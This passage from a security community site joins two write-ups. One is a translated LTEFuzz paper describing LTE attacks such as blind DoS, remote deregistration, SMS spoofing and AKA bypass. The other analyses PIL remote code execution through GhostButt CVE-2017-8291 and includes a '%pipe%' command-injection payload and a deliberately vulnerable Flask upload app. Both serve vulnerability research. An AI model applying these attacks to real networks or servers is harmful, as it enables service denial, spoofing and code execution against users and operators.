2）。当测试用例在第一阶段没有被接受时，结果在第二阶段被分成两个不同的用例。如果受害UE在接收实体不接受测试用例的情况下与网络断开连接，则它也被归类为有问题的行为，这可能源于接收实体在识别接收到的消息无效时的不当行为（情况
3)。否则，测试用例被归类为正常，这意味着接收实体正确处理了无效消息（情况
4）。基于这种分类，我们可以很容易地识别异常，甚至可以获取攻击场景。例如，攻击者可以利用分类为案例 1 和 3 的精心制作的消息对受害者 UE 进行 DoS
攻击。
## 0x04 Implementation
虽然我们在上面解释了我们减少了测试用例的数量，但是手动执行这个数量的测试用例是很耗时的。此外，手动方法可能会增加引入错误的可能性，从而影响实验的一致性和可靠性。为此，我们尝试在完全可控的开源
LTE 堆栈和称为 SCAT 的控制平面日志记录工具的帮助下尽可能地自动化测试操作。 LTEFuzz 执行测试用例的实验设置和实现分为两种类型：1)
检查上行测试用例的运营网络组件，以及 2) 检查商用移动设备的下行链路测试用例。
1) **检验运营网络。** 在此步中，测试人员充当恶意 UE，并将带有测试用例输入的精心设计的消息发送到目标操作网络。测试器在称为 srsLTE
的开源标准 UE 堆栈上实现。为了确认每个测试用例是否在网络侧被执行或触发失败，我们使用决策树通过仅监控 UE
侧的日志来对有问题的用例进行分类。为此，测试人员通过在 RRC 和 NAS 层欺骗受害者 UE 的身份来冒充受害者 UE
来发送测试用例消息。然后，每当我们的测试人员执行测试用例时，我们都会通过使用 SCAT 来观察受害 UE 的行为。我们通过在测试者和受害 UE
之间建立通信通道来使此过程自动化。 ①当受害 UE 准备好时，测试器执行测试用例并向受害 UE 发送通知。②收到通知后，受害者 UE 向公共网站发送
ping 请求并检查 ping 响应。如果是 Network is unreachable，则测试用例被标记为“Caused de-registration”。③ 最后，我们分析了 UE
端的日志，并根据我们的决策树对每个测试用例进行分类。下图展示了运行我们的上行链路测试的实际屏幕截图。我们通过考虑以下三个案例进行了上行测试，以验证每个测试案例的有效性。受害者和测试者位于（1）同一个小区，（2）不同小区但在同一个
eNB 中，以及（3）不同的 eNB 但在同一个 MME 池中。
2) **检验商用移动设备。** 在这种情况下，测试器充当在 openLTE 之上实现的恶意 LTE 网络，受害 UE 连接到主机 PC
以捕获控制平面日志。自动化测试操作如下。 ① 一旦将测试用例作为输入提交到恶意 LTE 网络，它就会等待，直到受害者尝试连接到我们的网络。②当受害者发送
RRC 连接请求时，我们的恶意 LTE 网络按照测试用例中的规定运行，并通知受害者端测试已执行。
③受害方收到通知后，保存控制平面消息。此外，如果受害者陷入无法恢复到正常状态的无效状态，主机 PC 通过发送 Android 调试桥 (ADB)
命令强制受害者 UE 重新启动。
这部分由 3,470 行代码 (LoC) 组成，这些代码是通过深入分析 537 个开源工具文件中超过 9 万行的代码而确定的。这包括用于测试输入生成器的
1,937 个 C++的 LoC、用于上行/下行链路测试器的 1,390 个 C++的 LoC 以及用于测试器和受害 UE 之间通信信道的 143 个
Python 的 LoC。
## 0x05 The Results
我们仔细地对两个 Tier-1 运营商网络（具有三个不同的 MME 和三个 eNB）和商业
UE（包括三个不同的基带供应商）进行了动态测试。每个测试用例的测试结果表明，我们在不同的目标网络组件和设备供应商中发现了 51
个漏洞。我们通过采访运营商的同行证实了我们在运营网络中的大部分实验结果的有效性。我们通过将结果分为五种类型来解释我们的实验结果及其根本原因分析。
### A. 初始 RRC 过程不受保护
**测试用例观察。** RRC层属性1的测试表明RRC连接过程既没有加密也没有完整性保护；因此，属于 RRC 连接过程的所有消息都归类为表 IV
中列出的情况 1 或 2。因此，在 RRC 连接过程中，对手可以利用这些消息来伪造内容或拒绝受害 UE 的连接。例如，如果攻击者将 RRC 连接请求中的
ueIdentity 字段的内容更改为受害者的 S-TMSI，这可以欺骗 eNB 并使其相信受害者 UE 当前处于 RRC CONNECTED
状态，尽管受害者处于RRC 空闲状态。
**根本原因分析。** 根据 3GPP 标准，UE 和 MME 之间的初始认证过程通过 NAS 协议发生，在 RRC 连接过程之后进行处理。因此，任何
eNB 首先允许 UE 的 RRC 连接请求，并将认证过程留给
MME。当鉴权过程由于UE的无效响应而失败时（例如，在未订阅用户或非法UE的情况下），MME向eNB发送UE上下文释放请求消息以释放异常用户的现有RRC连接。因此，按照设计，即使是未合法订阅特定运营商的非法用户也能够连接到该运营商的
eNB。然而，他们将无法维持 RRC 连接超过几秒钟，因为他们的设备将无法正确响应 NAS 身份验证请求。尽管有这个限制，但我们确定只有能够连接到
eNB（但无法继续连接以实现完全注册）的攻击者才可以执行关键攻击，例如阻止到目标 eNB 的任何 RRC 连接，断开当前的 RRC
连接，并阻止目标用户的传入服务。这些攻击主要源于 3GPP 标准，因此初始 RRC 连接过程不受保护，可能被对手滥用。
### B. 无效的上行 NAS 明文消息失效
**测试用例观察。** 如上所述，我们对三种不同情况进行了上行链路测试：受害者 UE 和测试者 UE4 位于 (1) 同一小区，(2) 不同小区但在同一
eNB 中，以及 (3) 不同的 eNB但在同一个 MME 池中。结果表明，攻击者可以通过伪装成受害者 UE 的 RRC
连接发送无效的明文请求。有趣的是，三种 MME 类型在收到我们无效的明文请求时有不同的问题行为。例如，当测试者向 MME1 和 MME3 发送精心设计的明文
NAS 连接请求时，他们删除了受害者 UE 的连接并向测试器发送了释放命令，从而隐秘地将受害者 UE 从网络中分离（情况 3）。在这种情况下，除非它通过发送
NAS 服务请求来启动上行链路数据的传输，否则受害者 UE
不会收到其与服务断开连接的通知。当受害UE收到原因为隐式分离的服务拒绝时，它必须继续进行初始连接过程以重新连接到LTE网络，这会导致服务中断几秒钟。对于另一种断开情况，在收到普通的
NAS Detach 请求后，所有三个 MME 都立即断开与受害 UE的连接，并向测试器 UE 回复 NAS Detach accept（情况
1）。除此之外，我们还证实了MME2 在没有任何保护的情况下处理明文 NAS 上行链路 NAS 传输（情况
2）。在这种情况下，如果用户订阅了与上述易受攻击的运营商有漫游协议的任何运营商，则攻击者可以利用此 MME2 向任何用户发起 SMS
网络钓鱼攻击，而无需付费。
**根本原因分析。** 根据 3GPP 标准，UE 仅在没有有效的安全上下文时才发送没有安全保护的初始请求，例如发生上下文定时器过期或意外错误时。如果
UE 没有有效的安全上下文（即用于加密和完整性保护的会话密钥），则 MME
需要创建一个新的有效安全上下文，以便进一步实现完全注册。创建受害者新的有效安全上下文的第一步是 UE 和 MME
之间的身份验证过程。因此，在收到未经保护的的来自测试人员（充当恶意 UE）的欺骗性初始请求后，MME 将需要执行 NAS
身份验证程序以确认此异常消息是否来自合法用户，而无需处理该消息或立即断开连接现有的 UE 连接。因此，由于我们假设攻击者 UE
没有有效的安全上下文，它无法正确执行认证过程，从而不会影响合法 UE 的现有连接。因此，如果这在 MME 中正确实现，则受害 UE
不应隐式地与网络分离，如在我们的测试案例中所观察到的。总之，我们发现所有三个 MME 都没有正确处理无效的普通请求。
### C. 非完整性检查使欺骗攻击成为可能
**测试用例观察。** 为了验证属性 2 中的第一种情况，我们的测试器生成了具有不正确 MAC 的安全保护 NAS 消息，并将它们发送到 MME 或
UE，以检查它们是否适当地验证了 MAC。因此，我们在收到具有无效 MAC 的消息时在不同的 MME 中观察到三种不同的问题行为（情况 1、2 和
3）。属于情况 1 和 2 的 MME 没有验证
MAC，只是接受了无效消息。例如，当测试者发送一个带有无效MAC的上行NAS传输消息时，MME认为这是有效的，因此，SMS被发送到目的UE。另一方面，属于情况
3 的另一个 MME 在收到消息时验证了 MAC。然而，无论接收到的消息类型如何，接收到具有不正确 MAC 值的消息都会导致 MME 断开受害 UE
的现有连接。在这种情况下，带有不正确的 MAC 的上行 NAS 传输消息会导致受害 UE 注销，并且没有将 SMS 消息发送到目标 UE。
**根本原因分析。** 根据 3GPP 标准，一旦 UE 和 MME 之间存在有效的安全上下文，UE 和 MME 都必须验证 NAS
消息的完整性。然而，我们推测设备供应商误解了某些特殊情况（例如，当 UE 在为初始消息激活安全性之前发送消息时，MME 在没有完整性保护的情况下接受 NAS
消息）。在我们的测试场景中，因为受害者UE 和服务 MME 具有有效的安全上下文，MME 应该验证每个接收到的消息的完整性。验证失败应该导致 MME
丢弃或拒绝接收到的消息，同时保持受害 UE 的现有连接。因此，这些案例显然构成了所有三个 MME 的处理错误。
### D. 重放消息被接受
**测试用例观察。** 在验证属性 2 中的第二种情况时，我们还检验了接收实体（网络组件或 UE）是否验证序列号以防止消息重放攻击。结果证实，一些精心设计的
NAS 消息被 MME 和 UE 都接受为有效，因为测试人员随后收到了预期的回复消息（情况 1）。例如，当测试者发送重放的 NAS PDN
断开请求以断开指定的现有数据承载时，测试者收到安全保护的 NAS 消息，而受害 UE 隐秘地断开了数据承载的连接（情况
1）。另外，当测试器向MME3发送重放的NAS TAU请求时，它向测试器回复了NAS TAU
accept，这意味着MME3错误地更新了受害UE的TA（情况2）。然而，当测试器向 MME1 发送重放的 TAU 请求时，它立即断开注册受害 UE
的现有连接，而测试器收到 RRC Connection release （情况 3）。对于下行 NAS
消息，我们确认海思基带接受了重放的消息，允许攻击者执行消息欺骗攻击（情况 2）。
**根本原因分析。** 3GPP 标准要求 MME 和 UE 都支持对受安全保护的 NAS
消息的重放保护，并为供应商提供了详细的重放保护方法。但是，同一个文档要求接收实体在验证接收到的 NAS 消息的完整性时，将接收到的消息中包含的 NAS
序列号用于计数器的 8 个 LSB。此外，当完整性验证成功时，接收实体应使用接收到的序列号的值更新其本地计数器。在这种完整性验证方法中，除非本地计数器的
28个 LSB 与计算消息完整性时使用的计数器不同，否则消息重放是可能的。因此，标准中规定的完整性验证方法与 NAS
消息应支持重放保护的安全要求相矛盾。结果，所有三个 MME 都容易受到重放攻击，至少对于一个 NAS 消息，我们的目标基带之一接受了重放消息。
### E. 安全过程可被绕过
**测试用例观察。** 在属性 3 方面，我们检查了三个测试用例：（1）跳过 RRC 层中的密钥协商过程以取消 RRC 和用户数据的安全上下文，（2）跳过
RRC 和 NAS 层中的密钥协商程序取消整个控制平面和数据平面的安全上下文，以及 (3) 在 RRC 和 NAS 中跳过 AKA
中的所有安全过程。因此，对于我们的目标移动设备，只有第一种情况成功。如果攻击者利用这种情况，他们将能够欺骗 RRC 消息以获取 UE
的私人信息，并窃听用户的通信。
**根本原因分析。** 如规范中所述，安全程序是保护 UE
与网络之间通信的强制性步骤。但是，我们确认部分商用设备（使用高通基带）不符合规范，所以它们允许省略 RRC
层中的安全密钥协商。因此，该漏洞的根源在于商用基带芯片组的实现缺陷。
## 0x06 Attacks Exploting ENB
### A. BTS 资源耗尽攻击
每个商用 eNB 都具有基于其硬件和软件规范的最大活动用户连接容量。 BTS 资源耗尽攻击的目的是耗尽活动 RRC Connections
的这个容量，从而阻止其他用户连接到目标 eNB。
1) **攻击模型** ：这种攻击的目标是商业运营的 eNB。攻击者可以通过被动侦听广播消息来获取目标 eNB 的连接信息，类似于其他正常设备。
2) **攻击过程** ：攻击者重复执行随机访问并生成 RRC 连接以增加活动 RRC 连接的数量，如下图所示。在正常情况下，在 RRC 连接建立后，初始
NAS 连接过程立即通过 NAS 连接请求或 NAS 服务请求搭载在 RRC 连接完成消息上进行。在我们的攻击中，攻击者使用任意用户 IMSI 发送 NAS
Attach Request。与正常流程不同的是，一旦攻击者收到 NAS Authentication Request，它就会重新启动 Random
Access 以建立新的 RRC 连接。对手不回复来自 MME 的 NAS 认证请求的原因是在 MME 等待有效的 NAS 认证响应时维持已建立的 RRC
连接。如果对手以无效的 NAS 身份验证响应进行回复，则会导致立即释放 RRC 连接。攻击成功的一个考虑因素是新建立的 RRC 连接的数量必须大于释放的现有
RRC 连接的数量。
3) **实现** ：我们使用一个 USRP B210 作为软件无线电收发器，并使用 srsUE 来实现恶意 UE。为了用不同的 C-RNTI 连续重复
RRC 连接过程，我们修改了 srsUE 以在它收到 NAS 认证请求时重新启动另一个随机接入过程，而不是用 NAS 认证响应进行回复。如果使用相同的
C-RNTI 发送多个 RRC 连接请求，则 eNB 将其作为对同一 RRC 连接的重复请求进行处理，这不是我们攻击的目标。
4) **验证** ：因为攻击商业运营的 eNB 会影响合法用户，我们对连接到我们在 OpenAirInterface (OAI) 上实现的测试平台 EPC
网络的 COTS 毫微微蜂窝基站执行了 BTS 资源消耗攻击。我们主要尝试确定可以使用一台 USRP 设备建立的虚假 RRC 连接的数量。这是通过验证使用
Airscope 的毫微微蜂窝的活动 RRC 连接来完成的。它通过对 LTE 物理层中的通信信道进行解码来提供无线用户信息。下图显示活动 RRC
连接的数量增加，直到达到毫微微蜂窝的最大容量，即在我们的目标毫微微蜂窝的情况下为 16 个活动连接。
因此，一旦对手产生了 16 个 RRC 连接，毫微微蜂窝将拒绝来自对手或合法 UE 的所有后续 RRC 连接请求，如下图所示。在演示攻击时，建立 16 个
RRC 连接需要 0.762 秒，我们每秒可以建立 20 个 RRC 连接。因此，如果可操作的 eNB 等待 10 秒以释放不活动的 RRC
连接，则对手将能够创建 200 个 RRC 连接。我们与运营商确认，这种性质的攻击会影响正在运行的 eNB。此外，运营商提出了一个更严重的情况。如果对手在
RRC 连接请求中包含“紧急”作为建立原因，如果没有额外的 RRC 资源可用，它甚至会释放现有的 RRC 连接。
### B. 盲 DoS 攻击
与上述拒绝 eNB 中的多个用户的攻击不同，盲 DoS 攻击通过建立伪装成受害者 UE 的 RRC 连接来拒绝目标 UE。
1) **攻击模型** ：攻击者在受害者服务 eNB 覆盖的区域内进行攻击。攻击者还知道受害者的 S-TMSI，可以通过三种方式获得：
• 知道受害者的电话号码或社交媒体（例如 Facebook 和 Whatsapp）上的帐户的对手可以通过执行无声寻呼攻击来获取受害者的 S-TMSI。
• 位于目标用户附近的攻击者可以操作恶意 eNB 来获取受害 UE 的 NAS TAU 请求。该请求包含受害者 UE 的
S-TMSI。一旦收到此消息，攻击者就会关闭恶意 eNB，以使受害 UE 能够通过连接到运营商网络来恢复 LTE 服务。
• 攻击者嗅探目标UE 的RRC 连接过程以获得目标UE 的S-TMSI，如RRC 连接建立中指定的那样。
2) **攻击过程** ：攻击者通过建立一个被欺骗为受害者 UE 的 RRC 连接来执行攻击（如下图所示）。这可以通过在 RRC 连接请求的
ueIdentity 字段中插入受害 UE 的 S-TMSI 来实现。不费吹灰之力就可以发起这种攻击来规避已部署的安全措施，因为按照设计，RRC
连接过程没有安全机制来隐藏内容或验证消息发送者。
3) **实现** ：我们使用一个 USRP B210 作为软件无线电收发器，srsUE 用于软件 LTE UE。我们稍微修改了 srsUE，将目标 UE
的 S-TMSI 添加到 RRC Connection 请求的 ueIdentity
字段中。另外，由于与BTS资源耗尽攻击相同的原因，攻击者设备不响应NAS Authentication请求。
4) **验证** ：我们验证了对位于我们实验室大楼附近的商用 eNB 的攻击。为了排除无辜的受害者，我们只使用了我们手机的 S-TMSI 作为受害者 UE
的身份。根据受害UE的RRC连接状态，通过将攻击分为两种类型来评估攻击的影响。
• 受害UE 处于RRC IDLE 状态：当寻呼通知传入服务或UE 有传出服务流量时，UE 尝试建立RRC 连接。如果攻击者伪造成受害者 UE建立了一个
RRC 连接，提供服务的 eNB 将受害者的 RRC 状态保存为 RRC CONNECTED 并将此更改通知提供服务的
MME。因此，尽管存在针对受害者的传入服务，MME 不会触发对任何 eNB 的寻呼。在这种情况下，受害者会隐式地与服务 eNB
断开连接，直到它尝试为来自应用服务的传出流量建立新的 RRC 连接。从用户的角度来看，传入的数据和语音都被阻止，而不会发出任何断开连接的通知。
• 受害者 UE 处于 RRC CONNECTED 状态：当攻击者建立了一个伪造的 RRC 连接，受害者 UE 现有的 RRC 连接在 eNB
上被释放，而不通知受害者。在这种情况下，UE 继续与服务 eNB 通信，但由于无线承载已经释放而失败。一旦多次通信失败，UE 就会进入无线链路失败
(RLF) 状态，从而发送 RRC 连接重建请求。然而，服务 eNB 拒绝了这个请求，因为它已经被释放了。 UE收到拒绝消息后，尝试执行NAS
TAU程序并通过发送NAS服务请求重新建立连接。最终，UE在上述重新注册过程中与网络断开连接。重新注册所需的时间约为 0.5 秒，因此如果攻击者每 0.5
秒持续建立欺骗性 RRC 连接，受害者将永久保持断开连接状态。
请注意，我们在三个不同的 eNB 供应商上验证了这种攻击。当受害 UE 处于 RRC IDLE 时，所有 eNB 的攻击都成功了。然而，当受害者 UE 处于
RRC CONNECTED 状态时，我们的两个目标 eNB 受到攻击影响，而另一个 eNB 没有。总而言之，盲 DoS 攻击可以通过欺骗 eNB 认为 UE
处于 RRC CONNECTED 状态的来阻止处于 RRC IDLE 状态的受害 UE 的传入服务。此外，受害的 UE 被两个供应商永久停止使用 LTE
服务，因为那些 eNB 只为 UE 的单个 S-TMSI 维护单个 RRC 连接。
## 0x07 Attacks Exploting MME
### A. 远程注销攻击
1) **攻击者模型** ：攻击者应该能够向注册受害 UE 的 MME 发送恶意 NAS 消息。通常，MME 管理分布在大地理区域中的多个
eNB。攻击者还知道受害 UE 的
S-TMSI。特别是，对于利用消息重放的攻击，攻击者必须在发起攻击之前捕获相应的消息。获取受害UE的控制平面消息有两种方式。
• 攻击者可以操作恶意 LTE 网络来捕获受害 UE 的控制平面消息，同时在 UE 和网络之间转发这些消息。
• 攻击者可以在 UE 上安装具有控制平面消息记录功能的恶意应用程序。
我们通过利用恶意 LTE 网络捕获受害 UE
的控制平面消息来实施攻击。在这种情况下，对手无法解密消息。但是，我们可以仅通过检查消息的顺序和长度来正确识别加密消息的类型。
2) **攻击过程** ：如下图所示，①敌手首先建立一个 RRC 连接，伪装成受害者 UE（使用 UE 的 S-TMSI）。②攻击者向为受害者提供服务的
MME 发送精心设计的初始纯请求、无效的安全保护消息或重放消息。在这种情况下，一旦对手通过伪造的 RRC 连接发送消息，提供服务的 eNB 就会通过检查
S-TMSI 将消息转发给为受害者服务的 MME。③ MME 不恰当地处理从攻击者那里收到的消息。因此，MME 在没有通知他们的情况下断开注册受害 UE
的连接。
3） **实现** ：我们使用srsLTE UE堆栈实现了攻击。一旦建立了欺骗的 RRC 连接，她就会发送易受攻击的 NAS 消息。
4) **验证** ：我们通过利用无效的明文消息、安全保护消息或重放消息，演示了针对可操作的 LTE
网络的远程注销攻击。我们确认攻击者可以通过连接到任何能够与为受害者 UE 服务的同一个 MME 通信的 eNB
来执行此攻击。与对应运营商的访谈显示，无论地理区域如何，eNB 都可以与任何 MME
通信，这取决于特定运营商的运营政策。在这种情况下，只有当对手成功获得有效的 GUTI
时，对手才能远程注销订阅了运营商的任意用户，而不管用户的位置如何。请注意，获得有效的 GUTI 并不困难。消息重放的一个值得注意的情况是，一旦 MME
接受重放的 NAS PDN 断开请求，攻击者可以选择性地拒绝用户的服务（例如，攻击者盲目地断开受害 UE 的数据服务，而语音服务继续可用）。
### B. 短信钓鱼攻击
1) **攻击者模型** ：在这种情况下，攻击者通过使用受害者 UE2 的电话号码欺骗消息发送者，向受害者 UE1 发送 SMS 消息。为此，攻击者知道
UE2 的 S-TMSI 以欺骗发送者。实际 SMS 消息发送到的 UE1 的电话号码也是已知的。此外，我们假设目标 LTE 网络通过 NAS 层提供
SMS。
2) **攻击过程** ： ①攻击者首先使用 UE2 的 S-TMSI 建立欺骗性 RRC 连接。②然后，生成SMS 内容并在 NAS 上行链路NAS
传输中。③在 RRC 连接建立之后，攻击者立即将生成的 NAS 上行链路NAS 传输发送到服务 MME。收到消息后，MME 将这个受控的 SMS 发送给
UE1。
3） **实现** ：我们通过修改srsLTE实现来实现这种攻击。特别是，我们只是添加了支持通过 NAS 发送短信的功能。
4) **验证** ：我们的测试结果证实我们成功地对运营商进行了这次攻击，因为 MME1 不验证 NAS 上行链路 NAS 传输消息的序列号，而 MME2
接受所有无效消息（明文、无效 MAC 和重放）。
## 0x08 Attack Exploiting UE: AKA Bypass Attack
1) **攻击模型** ：攻击者距离受害 UE 足够近，以触发从现有 eNB 到对手的恶意 LTE 网络的切换。为此，恶意 LTE 网络以比商用 eNB
更高的传输功率传输 LTE 信号。此外，攻击者必须知道跟踪区域 (TA) 列表才能将恶意 LTE 网络伪装成商用网络。可以通过两种方式轻松获取有效的 TAC
：
• 如果攻击者订阅了与受害者相同的运营商，则可以通过检查控制平面消息（例如Attach Accept）来获取TA 列表。
• 如果攻击者只拥有一个恶意 LTE 网络，他首先随机选择一个 TA。一旦目标 UE 连接到恶意 LTE 网络，它就会发送 TAU 请求，因为连接网络的
TA 不在其 TA 列表中。在收到来自UE的TAU请求后，攻击者可以通过解析该请求来获得UE之前的TAC。请注意，TAU 请求仅受完整性保护。
2) **攻击过程** ：如下图所示，攻击者构建恶意 LTE 网络并配置其运行参数，使其与受害者的运行网络相同。①如果流氓 eNB 的发射功率高于提供服务的
eNB，则处于 RRC IDLE 状态的受害者会重新同步到对手的 eNB。在这种情况下，由于恶意 eNB 的 TAC 包含在受害 UE 的 TA
列表中，因此 UE 不会触发 NAS TAU 过程。因此，②当 UE 正在发送传出数据（即，通过呼叫某人或浏览网页）或从恶意 LTE
网络接收寻呼时，它会建立 RRC 连接并发送 NAS 服务请求。在收到来自 UE 的有效完整性保护服务请求后，正常 eNB 执行 RRC
安全模式过程以重新生成 RRC 层和用户数据的密钥。然而，我们的恶意 LTE 网络忽略了这个过程，并立即准备通过发送一个普通的 RRC
连接重新配置来创建一个无线电隧道（也称为数据无线电承载 (DRB)）。收到这个请求后，UE 创建 DRB 并回复一个正常的 RRC
连接重新配置完成消息。最后，UE 通过该隧道与流氓 LTE 网络传输和接收未受保护的用户数据，而不会收到任何通知。
3) **实施** ：我们使用一台 USRP B210 作为无线电收发器，并使用 openLTE 作为恶意 LTE 网络。攻击者的恶意 LTE 网络不会为
RRC 层和用户数据协商安全算法以响应来自受害者 UE 的连接请求。此外，在没有安全保护的情况下执行 RRC
重新配置过程，这违反了3GPP标准中的安全指南。
4) **验证** ：我们验证了 AKA Bypass 攻击可以使多个智能手机型号（例如，LG G2 和三星 Galaxy
S4/S5，均使用高通基带）上现有 UE 的用户数据的现有加密无效。由于我们的恶意 LTE 网络将 TAC 配置为受害 UE 的 TA 列表，因此该 UE
在首次与我们的 eNB 同步时没有触发 TAU 请求。有趣的是，一些模型在攻击期间频繁发起 NAS TAU 请求。然而，如果恶意 LTE 网络在收到来自
UE 的请求后没有回复，则受害者 UE 通过发送 NAS 服务请求重新连接。这证明即使在这种情况下，我们的攻击仍然有效。
## 0x09 Countermeasures
**利用 eNB 的攻击。** 在 BTS 资源耗尽攻击的情况下，eNB 无法区分攻击者的 RRC 连接请求和合法 RRC
连接请求。这种攻击的一种可能缓解措施是减少不活跃计时器值，以允许对身份验证请求无响应的 RRC
连接到期。虽然它不是一个根本的解决方案，但它可以削弱这种攻击的影响，因为它最大限度地减少了对手可以建立的虚假 RRC
连接的数量。然而，如果运营商将不活跃定时器配置得不恰当，则UE可能会执行频繁的RRC连接过程，那么这将增加 eNB 和 MME
侧的信令负载。另一方面，当收到多个使用相同 S-TMSI 的 RRC 连接请求时，对 Blind DoS 攻击的可能缓解可能是重新分配
S-TMSI。根据3GPP标准，MME可以通过两种方式触发S-TMSI的重新分配。第一种是直接向UE发送安全保护的NAS
GUTI重新分配命令。然而，这并不能阻止 Blind DoS 攻击，因为在攻击期间 UE 不会收到消息。另一种方法是使用 UE 的 IMSI 广播寻呼。由于
Paging 在小区覆盖的整个区域上广播，因此 UE 将接收它并在收到 Paging 消息后启动与 IMSI 的附着过程，这将增加信令开销。
**利用 MME 和 UE 的攻击。** 远程注销攻击和短信网络钓鱼攻击都源于操作 MME 的不正确实现。因此，应严格遵循 3GPP 标准来谨慎实施这些
MME。 AKA 绕过攻击也源于 UE 错误地处理了强制安全程序。因此，在成功完成强制安全程序之前，UE不应进行任何控制平面程序。
## 0xA Councluding Remarks and Future Work
在本研究中，我们通过动态测试运营 LTE
网络中的控制平面组件来调查潜在的安全问题。半自动化动态测试的过程包括三个步骤：基于规范分析创建安全属性、生成和执行违反安全属性的测试用例，以及对有问题的用例进行分类。结果，LTEFuzz
在不同运营商和设备供应商之间成功识别了 15 个已发现的漏洞和 36 个新的设计和实施漏洞。调查结果分为五种漏洞类型。我们还演示了几种可用于拒绝各种 LTE
服务、发送网络钓鱼消息和窃听/操纵数据流量的攻击。我们通过审查相关标准和采访运营商的合作者，对发现的问题进行根本原因分析。
总之，LTEFuzz 是发现运营商和设备供应商造成的设计和实现漏洞的有效工具。我们的发现在两个方面很有趣：1) 即使在一个运营商中，两个
MME（可能来自不同的供应商）也有不同的漏洞，2）由一个设备供应商制造的两个
MME（在两个运营商中）有不同的漏洞。这说明设备供应商和运营商都没有仔细检查其网络组件的安全性。此外，LTEFuzz
能够发现高通和海思基带芯片组中的漏洞，它们在 2017 年的市场份额排名第一和第四。我们计划在不久的将来向这些运营商和供应商私下发布
LTEFuzz。未计划公开发布，因为 LTEFuzz 可用于恶意目的。 | 社区文章 |
**PIL** (Python Image Library) 应该是 Python
图片处理库中运用最广泛的，它拥有强大的功能和简洁的API。很多Python Web应用在需要实现处理图片的功能时，都会选择使用PIL。
PIL在对 eps 图片格式进行处理的时候，如果环境内装有 GhostScript，则会调用 GhostScript
在dSAFER模式下处理图片，即使是最新版本的PIL模块，也会受到 `GhostButt CVE-2017-8291`
dSAFER模式Bypass漏洞的影响，产生命令执行漏洞。
据说大牛们看源码和 dockerfile 就可以了：<https://github.com/neargle/PIL-RCE-By-GhostButt>
## 一个简单常见的Demo
from PIL import Image
def get_img_size(filepath=""):
'''获取图片长宽'''
if filepath:
img = Image.open(filepath)
img.load()
return img.size
return (0, 0)
我们在 Demo 里调用了PIL的 `Image.open`, `Image.load` 方法加载图片，最后返回图片的长和宽。
In [2]: get_img_size('/tmp/images.png')
Out[2]: (183, 275)
## 分析
### Image.open 图片格式判断的问题
PIL在 `Image.open` 函数里面判断图片的格式，首先它调用 `_open_core` 函数，
在`_open_core`里面则是调用各个格式模块中的`_accept`函数，判断所处理的图片属于哪一个格式。
def _open_core(fp, filename, prefix):
for i in ID:
try:
factory, accept = OPEN[i]
if not accept or accept(prefix):
fp.seek(0)
im = factory(fp, filename)
_decompression_bomb_check(im.size)
return im
except (SyntaxError, IndexError, TypeError, struct.error):
# Leave disabled by default, spams the logs with image
# opening failures that are entirely expected.
# logger.debug("", exc_info=True)
continue
return None
im = _open_core(fp, filename, prefix)
这里 `_accept(prefix)` 函数中的参数 prefix 就是图片文件头部的内容
# PIL/GifImagePlugin.py
def _accept(prefix):
return prefix[:6] in [b"GIF87a", b"GIF89a"]
# PIL/EpsImagePlugin.py
def _accept(prefix):
return prefix[:4] == b"%!PS" or \
(len(prefix) >= 4 and i32(prefix) == 0xC6D3D0C5)
可以发现PIL使用文件头来判断文件类型，也就是说即使我们用它处理一个以`.jpg`结尾的文件，只要文件内容以`%!PS`开头，那么PIL就会返回一个`PIL.EpsImagePlugin.EpsImageFile`对象，使用eps格式的逻辑去处理它。之后调用的load方法也是`EpsImageFile`里面的load方法。
### Image.load 到 subprocess.check_call
真实的环境中，程序员可能不会刻意去调用`load()`方法，但是其实Image文件中几乎所有的功能函数都会调用到`load()`。在
PIL/EpsImagePlugin.py 文件内我们关注的调用链为: `load()` -> `Ghostscript()` ->
`subprocess.check_call()`, 最后使用`subprocess.check_call`执行了 gs 命令。
command = ["gs",
"-q", # quiet mode
"-g%dx%d" % size, # set output geometry (pixels)
"-r%fx%f" % res, # set input DPI (dots per inch)
"-dBATCH", # exit after processing
"-dNOPAUSE", # don't pause between pages,
"-dSAFER", # safe mode
"-sDEVICE=ppmraw", # ppm driver
"-sOutputFile=%s" % outfile, # output file
"-c", "%d %d translate" % (-bbox[0], -bbox[1]),
# adjust for image origin
"-f", infile, # input file
]
# 省略判断是GhostScript是否安装的代码
try:
with open(os.devnull, 'w+b') as devnull:
subprocess.check_call(command, stdin=devnull, stdout=devnull)
im = Image.open(outfile)
最后其执行的命令为`gs -q -g100x100 -r72.000000x72.000000 -dBATCH -dNOPAUSE -dSAFER
-sDEVICE=ppmraw -sOutputFile=/tmp/tmpi8gqd19k -c 0 0 translate -f ../poc.png`,
可以看到PIL使用了 dSAFER 参数。这个参数限制了文件删除,重命名和命令执行等行为,只允许 gs 打开标准输出和标准错误输出。而 `GhostButt
CVE-2017-8291` 刚好就是 dSAFER 参数的bypass。
### GhostButt CVE-2017-8291
该漏洞的详细的分析可以看 binjo 师傅的文章:[GhostButt -CVE-2017-8291利用分析](http://wiki.ioin.in/url/APWQ)，原先我复现和构造POC的时候花费了很多时间，后来看了这篇文章，给了我很多帮助。
这里我们用的poc和文章里面一样使用，也就是msf里面的poc:[poc.png](https://github.com/neargle/PIL-RCE-By-GhostButt/blob/master/poc.png)。虽然这里修改 eps 后缀为 png
，但其实文件内容确实典型的`eps`文件。截取部分内容如下:
%!PS-Adobe-3.0 EPSF-3.0
%%BoundingBox: -0 -0 100 100
... 省略
currentdevice null false mark /OutputFile (%pipe%touch /tmp/aaaaa)
我们需要构造的命令执行payload就插入在这里 : `(%pipe%touch /tmp/aaaaa)`。
## 真实环境（伪）和复现
我使用之前写的的demo函数和Flask file-upload-sample写了一个简单的 Web
app:[app.py](https://github.com/neargle/PIL-RCE-By-GhostButt/blob/master/src/app.py)，使这个本地命令执行变成一个远程命令执行。主要代码如下：
UPLOAD_FOLDER = '/tmp'
ALLOWED_EXTENSIONS = set(['png'])
app = Flask(__name__)
app.config['UPLOAD_FOLDER'] = UPLOAD_FOLDER
def get_img_size(filepath=""):
'''获取图片长宽'''
if filepath:
img = Image.open(filepath)
img.load()
return img.size
return (0, 0)
def allowed_file(filename):
'''判断文件后缀是否合法'''
return '.' in filename and \
filename.rsplit('.', 1)[1].lower() in ALLOWED_EXTENSIONS
@app.route('/', methods=['GET', 'POST'])
def upload_file():
'''文件上传app'''
if request.method == 'POST':
if 'file' not in request.files:
flash('No file part')
return redirect(request.url)
image_file = request.files['file']
if image_file.filename == '':
flash('No selected file')
return redirect(request.url)
if image_file and allowed_file(image_file.filename):
filename = secure_filename(image_file.filename)
